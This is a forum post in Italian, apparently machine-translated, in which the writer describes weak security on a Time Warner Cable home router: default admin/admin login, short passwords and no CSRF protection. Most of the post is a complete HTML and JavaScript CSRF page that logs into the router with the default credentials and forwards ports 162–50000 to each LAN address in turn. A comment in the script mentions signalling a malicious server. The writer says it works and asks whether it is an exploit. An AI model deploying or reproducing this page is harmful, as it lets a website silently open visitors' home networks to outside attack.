Stava configurando il Wi-Fi a casa oggi (utilizzando solo il router predefinito Time Warner Cable) e rimase sconvolto dalla minima sicurezza fornita dal server web.
-
Il nome utente / password predefiniti è googlable ed è
admin
admin
-
Quando cambi le password, la modifica della password è limitata a meno di 8 caratteri e nessun carattere speciale. Nessun limite ai tentativi di password (quindi bruteforcable)
-
Nessun token CSRF
Quindi ho pensato di scrivere una semplice pagina web che porta in avanti tutto il traffico verso il primo IP assegnato per impostazione predefinita.
<!-- First form logs us in -->
<form id="login" action="http://192.168.0.1/goform/login" method=POST name="login" target="login_frame">
<input type="password" name="loginUsername" value="admin">
<input type="password" name="loginPassword" value="admin">
<input id='btnLogin' type="submit" value="Login">
</form>
<!-- Second form sets settings -->
<!-- Ports from 162 - 50000 since UDP is default 161 (plus all the good ports are open later anyway). Could potentially change UDP, or set ranges from 0 - 160 as well -->
<form id="hack" action="http://192.168.0.1/goform/RgForwarding" method="POST" name="login" target="hack_frame">
<input type="text" name="PortForwardingCreateRemove" value="0"/>
<input type="text" name="PortForwardingExtIp" value="0.0.0.0"/>
<input type="text" name="PortForwardingExtStartPort" value="162" />
<input type="text" name="PortForwardingExtEndPort" value="50000"/>
<input type="text" id="ip" name="PortForwardingLocalIp" />
<input type="text" name="PortForwardingLocalStartPort" value="162"/>
<input type="text" name="PortForwardingLocalEndPort" value="50000"/>
<input type="text" name="PortForwardingProtocol" value="4"/>
<input type="text" name="PortForwardingDesc" value="Pwnage"/>
<input type="text" name="PortForwardingEnabled" value="1" />
<input type="text" name="PortForwardingApply" value="2" />
<input type="text" name="PortForwardingTable" value="0" />
</form>
<!-- Iframes prevent need for popups -->
<iframe name="login_frame"></iframe>
<iframe name="hack_frame"></iframe>
<script type="text/javascript">
// Submitting forms instead of doing XMLHttpRequest gets around
// Chrome and other modern browsers complaining about Access-Control-Allow-Origin
var wait = 1000;
var login = document.getElementById('login');
setTimeout(function(evt){ login.submit() }, wait);
var hack = document.getElementById('hack');
var ip = document.getElementById('ip');
var base = "192.168.0.";
var i = 10;
var rinse = function(){
if(i >= 256) return; // Impossible IPs say what?
ip.value = base + i;
hack.submit();
i++;
// Callback to malicious server to indicate the deed was done.
}
setTimeout(rinse, wait * 2);
// Potentially have callback from server after attempt to exploit
// then rinse and repeat with different ip
</script>
La parte peggiore di questo è che funziona. Questo costituisce un exploit? I produttori di router non si preoccupano solo della sicurezza? Avrei potuto provare a giocare con altre impostazioni, ma questo sembrava lasciare una vittima spalancata per metasploit. La maggior parte dei firewall OS è in grado di salvare una vittima? Dovrei comprare un altro router?
Solo alcune idee che girano intorno.